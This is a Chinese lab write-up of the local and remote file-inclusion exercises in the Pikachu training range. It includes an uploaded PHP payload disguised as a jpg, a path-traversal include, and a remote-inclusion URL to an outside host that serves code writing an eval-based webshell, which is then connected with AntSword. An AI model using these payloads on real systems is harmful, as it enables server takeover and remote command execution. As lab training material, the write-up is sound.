pikachu文件包含漏洞靶场攻略

一、File inclusion(local)(本地文件包含)

1.打开pikachu的本机包含文件靶场

2.随意提交查询

可以看到是get传参 可以在filename参数进行文件包含

3.准备好一个jpg文件

<?php phpinfo(); ?>将内容写到1.jpg中

点击上传文件 上传1.jpg

文件上传成功

4.filename后面输入../../../../1.php访问php文件

二、File Inclusion(remote)(远程文件包含)

一,修改配置

allow_url_fopen=on //默认打开

Allow_url_include=on //默认关闭

二,随意提交查询

三,宝塔公网上创建一个6.txt文件,

里面输入<?php fputs(fopen("1.php","w"),'<?php eval($_POST"cmd");?>')?>

四,filename后面输入http://47.121.212.101/6.txt

五,fileinclude目录下找到php文件

六,访问php文件,蚁剑连接

相关推荐
Sayai2 小时前
Elasticsearch ingest pipeline 被禁用之后:性能代价、安全治理与数据入库时间的四种替代方案
大数据·运维·安全·elasticsearch·搜索引擎·性能优化
fengci.2 小时前
CTF2困难部分
开发语言·网络·python·安全·php
有志冬瓜2 小时前
.NET Framework全部版本离线下载安装教程
安全·.net·软件需求
不在逃避q2 小时前
Chrome 扩展安全攻防实录:从攻击面到防御实践
前端·chrome·安全
是真的小外套2 小时前
网络安全实战第19期:三重防护失效真相之注入攻击的无限变形之路
安全·web安全
骑着蜗牛撵大象32712 小时前
大模型 Agent 的沙箱护栏:gVisor 隔离、出口白名单与审计闭环
java·开发语言·jvm·安全·agent沙箱·gvisor·microvm
Sinokap13 小时前
OpenAI 披露 AI 安全实验:智能体如何突破隔离边界?
人工智能·安全
是真的小外套14 小时前
网络安全实战第14期:Week2周末闯关
网络·安全·web安全
Alsn8619 小时前
frp内网穿透实操(Kali NAT 环境 · 附原理说明)
安全
MaAidan19 小时前
AI 交付前的质量门禁:复杂度、分层、安全配置、测试,一个都不能少
人工智能·安全